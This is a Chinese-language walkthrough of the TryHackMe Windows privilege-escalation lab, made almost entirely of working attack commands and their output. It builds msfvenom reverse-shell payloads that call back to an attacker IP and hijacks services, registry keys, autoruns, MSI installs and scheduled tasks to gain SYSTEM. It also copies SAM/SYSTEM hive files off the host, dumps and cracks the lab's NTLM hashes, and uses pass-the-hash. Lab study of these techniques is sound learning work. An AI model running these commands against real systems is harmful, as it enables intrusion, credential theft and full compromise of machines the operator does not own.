---
# System prepended metadata

title: Windows PrivEsc v1.0
tags: [TryHackMe, window提權]

---

# Windows PrivEsc v1.0
###### tags: `TryHackMe` `window提權` 


### RDP 連接:
```
xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.26.90
```




### 生成payload:
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.70.197 LPORT=53 -f exe -o reverse.exe

```



### 開啟smb 分享目錄:

* 設置kali 為目錄名
```
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali ~/Desktop/

```

### 從kali複製reverse.exe 到window

```
copy \\10.18.70.197\kali\reverse.exe C:\PrivEsc\reverse.exe

```


### netcat 監聽:

```
sudo nc -nvlp 53
```


### 啟動reverse.exe:

```
C:\PrivEsc\reverse.exe
```


* 這時你拿到的是一般權限的shell

---

## 服務漏洞 - 不安全的服務權限


### 查看基本使用者和群組資訊:

```
net user

net localgroup

net localgroup Administrators

```


### accesschk 
accesschk.exe 是一款微軟官方開發，用於檢測特定用戶或組對資源（包括文件、目錄、註冊表鍵、全局對象和Windows服務）的訪問權限的工具。

```
(Shows all the services that has write access to Everyone)

-u = Suppress Errors-w = Show only objects that has write access

-v = Verbose

-c = Name as a windows service ( * for all the services)


```

### 找到daclsvc服務
daclsvc是服務權限正常來講每個服務都會在windows上也有一個binary path提供具體的程序指向。如果普通用戶對於某個服務權限過高可以來波提權。

daclsvc服務介紹:
https://dotblogs.com.tw/regionbbs/2011/07/28/designing_dacl_concept_and_prototype

```
#查看 everyone 可以具有那些服務讀寫權限
accesschk.exe –wvcu Everyone *

#查看 user 可以具有那些服務讀寫權限

accesschk.exe –wvcu user *


#查看 user 對daclsvc的服務讀寫權限
＿



```


顯示都差不多 user 只能修改daclsvc 服務
```

RW daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL
```







### 查 daclsvc服務的權限

```
accesschk.exe –wvcu daclsvc
```


```
daclsvc
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW Everyone
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL
```

* 看 Everyone 都可以修改 SERVICE_CHANGE_CONFIG


### 看 user對daclsvc服務有啥可修改的
```
accesschk.exe /accepteula -uwcqv user daclsvc
```


```
RW daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL
```






### 查看 daclsvc 資訊
```
sc qc daclsvc
```



```

SERVICE_NAME: daclsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\DACL Service\daclservice.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DACL Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

```
* BINARY_PATH_NAME 將被我們修改

### 兩個常用的提權payload

```
#user用戶 加到 administrators組
sc config daclsvc binPath=“net localgroup administrators user /add”


＿
#執行 reverse.exe 這個比較方便直接 system 權限
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

```

### 兩個都可以開啟服務


```
net start daclsvc
sc start daclsvc
```

* 此時看netcat 的shell 是system 就很棒。





## 服務漏洞 - 不帶引號的服務路徑提權




### wmic 查看服務

第一步是識別沒有被引號封裝的服務路徑。我們可以通過結合使用 Windows 實用程序“Windows Management Instrumentation (wmic)”和 findstr 來確定這一點。以下命令將輸出不帶引號的服務列表。


```
wmic service get name,displayname,pathname,startmode |findstr /i /v "c:\" |findstr /i /v """
```


### 登入檔查看也可

路徑:
```
\HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\服務名
```
點選 ImagePath建值，可以查看


* 可以找到非常多服務沒有使用引號的路徑 官方推薦 使用 unquotedsvc 服務


### 查看unquotedsvc 服務信息
```
sc qc unquotedsvc
```



```
SERVICE_NAME: unquotedsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Unquoted Path Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


```

### 這裡有兩個重點

```
//LocalSystem 代表system 權限
SERVICE_START_NAME : LocalSystem

//路徑有空格 且沒有引號
BINARY_PATH_NAME   : C:\Program Files\Unquoted Path Service\Common 
```

* 當Windows服務運行時，會發生以下兩種情況之一。如果給出了可執行文件，並且引用了完整路徑，則系統會按字面解釋它並執行。但是，如果服務的二進制路徑未包含在引號中，則操作系統將會執行找到的空格分隔的服務路徑的第一個實例。


### 執行的過程
```
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe


依次慢慢找到unquotedpathservice.exe

C:\Program Files.exe

C:\Program Files\Unquoted.exe

C:\Program Files\Unquoted Path Service\Common.exe

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

```



### icacls 查看路徑的所有使用權
```
icacls "C:\Program Files\Unquoted Path Service"

```



```
C:\Program Files\Unquoted Path Service BUILTIN\Users:(F)
                                       NT SERVICE\TrustedInstaller:(I)(F)
                                       NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                       NT AUTHORITY\SYSTEM:(I)(F)
                                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                       BUILTIN\Administrators:(I)(F)
                                       BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                       BUILTIN\Users:(I)(RX)
                                       BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                       CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                       APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                       APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                       APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                       APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files
```

* 重點: BUILTIN\Users:(I)(RX)

* 我們是user 屬於Users組 所以只有 (讀/執行) 功能

* 預定義的 BUILTIN 組和默認權限
https://library.netapp.com/ecmdocs/ECMP1658442/html/GUID-88D94528-23AB-434D-8B4B-5AA8732B812A.html





### accesschk 也可查看路徑使用權

```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
```



### 複製 reverse.exe 為 C:\Program Files\Unquoted Path Service\Common.exe

```
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
```



### kali nc 監聽

```
nc -lvnp 53
```


### 啟動服務
```
net start unquotedsvc
```
獲得system 權限 shell 



## 服務漏洞 - 弱註冊表權限



* 在Windows系統上，操作系統、驅動程序、和系統安裝組件、服務會存放在註冊表中。而註冊表會通過樹類進行區分,如下圖所示，會分成四個樹類型。而我們的regsvc是在HKLM\SYSTEM\CurrentControlSet\Services



### sc 查看 regsvc 服務信息
```
sc qc regsvc
```


```
SERVICE_NAME: regsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Insecure Registry Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


```

* LocalSystem 代表system 權限


### 用accesschk.exe檢測regsvc註冊表

```
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
```




```
/accepteula=自動接受許可協議

-u=抑制/忽略錯誤 

-v=詳細信息 

-w=只展示有讀寫權限的用戶組 

-q=忽略banner 

-k=後面是註冊表項如\hklm

```


### 發現 AUTHORITY\INTERACTIVE 組有權限修改

```
  RW NT AUTHORITY\SYSTEM
        KEY_ALL_ACCESS
  RW BUILTIN\Administrators
        KEY_ALL_ACCESS
  RW NT AUTHORITY\INTERACTIVE
        KEY_ALL_ACCESS
        
```
        
        
### 覆蓋 ImagePath 註冊表項以指向您創建的 reverse.exe 可執行文件：

```
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
```

```
/v =指定要添加到指定子項下的名稱

/t=數據類型這裡的REG_EXPAND_SZ意思是長度可變的數據字符串。

/d=指定新註冊表項的值

/f=不用詢問信息而直接添加子項
```


### 啟動服務
```
net start regsvc
```


### NC 監聽
```
nc -lvnp 53
```

獲得system權限 shell

## 服務漏洞 - 不安全的服務可執行文件



### 查詢“ filepermsvc” 服務，注意它以系統權限 (SERVICE_START_NAME) 運行。

```
sc qc filepermsvc
```

### 使用 accesschk.exe，請注意服務二進製文件 (BINARY_PATH_NAME) 文件對每個人都是可寫的：

```
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

```
### 複製您創建的 reverse.exe 可執行文件並用它替換 filepermservice.exe：

```
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

```
### 在 Kali 上啟動一個監聽器，然後啟動該服務以生成一個以 SYSTEM 權限運行的反向 shell：

```
net start filepermsvc
```





## 註冊表 - 自動運行

### 查詢 AutoRun 可執行文件的註冊表：

```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

### 使用 accesschk.exe，請注意其中一個 AutoRun 可執行文件對每個人都是可寫的：
```

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
```

### 複製您創建的 reverse.exe 可執行文件並用它覆蓋 AutoRun 可執行文件 ：

```
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

```
* 在 Kali 上啟動一個偵聽器，然後重新啟動 Windows VM。打開一個新的 RDP 會話以觸發以管理員權限運行的反向 shell。您不必通過身份驗證來觸發它，但是如果有效載荷沒有觸發，請以管理員身份登錄 (admin/password123) 來觸發它。請注意，在現實世界中，您必須等待管理員自己登錄！

```
rdesktop 10.10.234.190
```
* user 用戶 restart 需要等待一下。在使用admin連接一次。





## 註冊表 - AlwaysInstallElevated


* windows有一個系統進程MSIEXEC，用於安裝Windows Installer安裝包，AlwaysInstallElevated是一個組策略配置，如果啟用，那麼將允許普通用戶以SYSTEM權限運行msi文件進行安裝。如果對方機器恰好開啟，我們就可以利用此缺陷提權。






* 利用AlwaysInstallElevated提權是一個2017年公開的技術，Metasploit和PowerUp都提供了利用方法



###  在註冊表中查詢 AlwaysInstallElevated 鍵：

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

* 這兩個鍵都設置為 1 (0x1)。代表開啟






### 在 Kali 上，使用 msfvenom 生成反向 shell Windows Installer (reverse.msi)。 相應地更新 LHOST IP 地址：

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.18.70.197  LPORT=53 -f msi -o reverse.msi

```


### 複製惡意檔案
```
certutil.exe -urlcache -split -f http://10.18.70.197/reverse.msi
```




### 啟用AlwaysInstallElevated後，可以通過命令行調用msiexec安裝msi文件，msi文件內包含要執行的Payload，Payload將會以System權限執行

```
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```

```
/i 參數用來表示安裝操作

/q 參數用來隱藏安裝界面

/qn 不使用 GUI 進行安裝
```


### NC 監聽 獲得shell 
```
nc -lvnp 53
```



## 密碼 - 註冊表


### 找尋註冊表中含有 password 字段
```
reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

```


### 找到password字段
```
//
reg query HKCU /f password /t REG_SZ /s

HKEY_CURRENT_USER\Software\Microsoft\Windows\Winlogon\PasswordExpiryNotification
    NotShownReason    REG_SZ    PasswordNeverExpires

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42
    ProxyPassword    REG_SZ    password123

```





### 查詢特定註冊表驗證

```
reg query "HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

```

驗證 PuTTY 軟體的sessions確實有留下 proxy 的密碼






### winexe
是linux運行的 windows系統 管理工具，使用比較簡單，前提是獲取用戶名和密碼，然後連接上被攻擊系統就可以使用。 winexe是通過 文件共享服務 ，在目標系統安裝winexe服並運行。最大亮點是 執行命令完成後，退出會 自動刪除 對應的服務，為了防止被發現

```
winexe -U 'admin%password123' //10.10.235.143 cmd.exe
```



## 密碼 - 保存的信用


### 列出所有已保存的憑據：
```
cmdkey /list
```

* 請注意，已保存“admin”用戶的憑據。如果不是，請運行 C:\PrivEsc\savecred.bat 腳本以刷新保存的憑據。

### 在 Kali 上啟動一個偵聽器，並使用 runas 和管理員用戶保存的憑據運行 reverse.exe 可執行文件：

```
runas /savecred /user:admin C:\PrivEsc\reverse.exe
```


## 密碼 - Security Account Manager (SAM)



SAM 和 SYSTEM 文件可用於提取用戶密碼哈希值。此VM已將SAM 和 SYSTEM 文件的備份不安全地存儲在 C:\Windows\Repair\ 目錄中。


### 將 SAM 和 SYSTEM 文件傳輸到您的 Kali VM：


```
copy C:\Windows\Repair\SAM \\10.18.70.197\kali\
copy C:\Windows\Repair\SYSTEM \\10.18.70.197\kali\
```


### 下載 creddump7
```
git clone https://github.com/Tib3rius/creddump7

```
```
//官方給這個
pip3 install pycrypto

//我發現pycrypto 已經沒在維護 使用pycryptodome代替
pip uninstall pycrypto
pip install pycryptodome
```


### pwdump dump hash
```
python3 creddump7/pwdump.py SYSTEM SAM
```


```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
```



* 我們要的是NTLM 加密的所以是後面冒號那段


### hash_identifier 確認加密type
https://hashes.com/en/tools/hash_identifier

### hashcat 破解
```
hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

```

```
Administrator
fc525c9683e8fe067095ba2ddc971889
Passw0rd!


Guest
DefaultAccount
31d6cfe0d16ae931b73c59d7e0c089c0
空


WDAGUtilityAccount
6ebaa6d5e6e601996eefe4b6048834c2
14344385

user
91ef1073f6ae95f5ea6ace91c09a963a
password321

admin
a9fdfa038c4b75ebc76dc855dd74f0da
password123

```

## 密碼 - 傳遞哈希


### pth-winexe 連接

winexe的修改版本 pth-winexe 來使用管理員用戶的哈希獲取shell
```
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.140.182 cmd.exe
```



## Scheduled Tasks(計劃任務)


### schtasks 查詢正計畫任務 
這在這題沒用
```
schtasks /query /fo LIST /v

schtasks /query /tn  任務名 /fo list /v

```
* 重要資訊的是
Task to Run
Run As User


### 查看C:\DevTools\CleanUp.ps1腳本內容：

```
type C:\DevTools\CleanUp.ps1
```
根據該腳本似乎每分鐘都以 SYSTEM 身份運行。使用 accesschk.exe，請注意您可以寫入此文件：

### accesschk 查權限
```
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
```
```

RW C:\DevTools\CleanUp.ps1
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_APPEND_DATA
        FILE_EXECUTE
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_DATA
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_DATA
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL
```
* FILE_APPEND_DATA 附加數據
* FILE_WRITE_DATA 寫入數據


### icacls 查權限
```
icacls C:\DevTools\CleanUp.ps1
```
比較奇怪的是這裡查出來是 讀/執行 權限
```
C:\DevTools\CleanUp.ps1 BUILTIN\Users:(M)
                        NT AUTHORITY\SYSTEM:(F)
                        BUILTIN\Administrators:(F)
                        WIN-QBA94KB3IOF\Administrator:(F)
                        NT AUTHORITY\SYSTEM:(I)(F)
                        BUILTIN\Administrators:(I)(F)
                        BUILTIN\Users:(I)(RX)

```

於是我直接去查看檔案 屬性->安全性->進階 
查到 users組 是有 modify 的權限

* window 權限知識
https://www.cnblogs.com/milantgh/p/3617855.html
https://zhuanlan.zhihu.com/p/94705977





### echo 附加 reverse.exe

```
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
```

在 Kali 上啟動一個偵聽器，然後將一行附加到C:\DevTools\CleanUp.ps1 以運行您創建的 reverse.exe 可執行文件：


等待計劃任務(每分鐘)運行，這應該以 SYSTEM 身份觸發反向 shell。


## 不安全的 GUI 應用程序

### 啟動RDP會話：

```
rdesktop -u user -p password321 10.10.114.188

```
雙擊桌面上的“AdminPaint”快捷方式。運行後，tasklist發現 mspaint.exe 正在以管理員權限運行：

```
tasklist /V | findstr mspaint.exe

```
我們是普通權限 可以藉由這個管理員權限的打開的程式生出一個高權限shell


菜單 open ->目錄瀏覽輸入下方cmd 路徑
```
file://c:/windows/system32/cmd.exe
```
* 按 Enter 以生成以管理員權限運行的命令提示符。
* 不是按下open 按鈕 是直接enter就可


可以查看小畫家內容的捷徑:

題目中的:
```
C:\Windows\System32\runas.exe /user:admin /savecred %windir%\system32\mspaint.exe
```
一般的
```
%windir%\system32\mspaint.exe
```


## Startup Apps (程序快捷方式進行提權)


startup 目錄
```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
```

在這目錄下可以存放程式捷徑(.lnk)，開機時會自動打開程式


### accesschk 查看目錄權限
```
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```


```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone
```

* Users 組可讀寫


官方幫我準備了一個添加reverse.exe 捷徑的腳本

```
cscript C:\PrivEsc\CreateShortcut.vbs
```
* CScript.exe 是Windows腳本宿主的一個版本，可以用來從命令行運行腳本。
https://www.itsfun.com.tw/cscript.exe/wiki-191125-602294

#### CreateShortcut.vbs
```
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save

```

### 你用rdp登入admin 密碼 password123 可以拿shell

```
nc -lvnp 53
```
```
rdesktop -u admin 10.10.10.10
```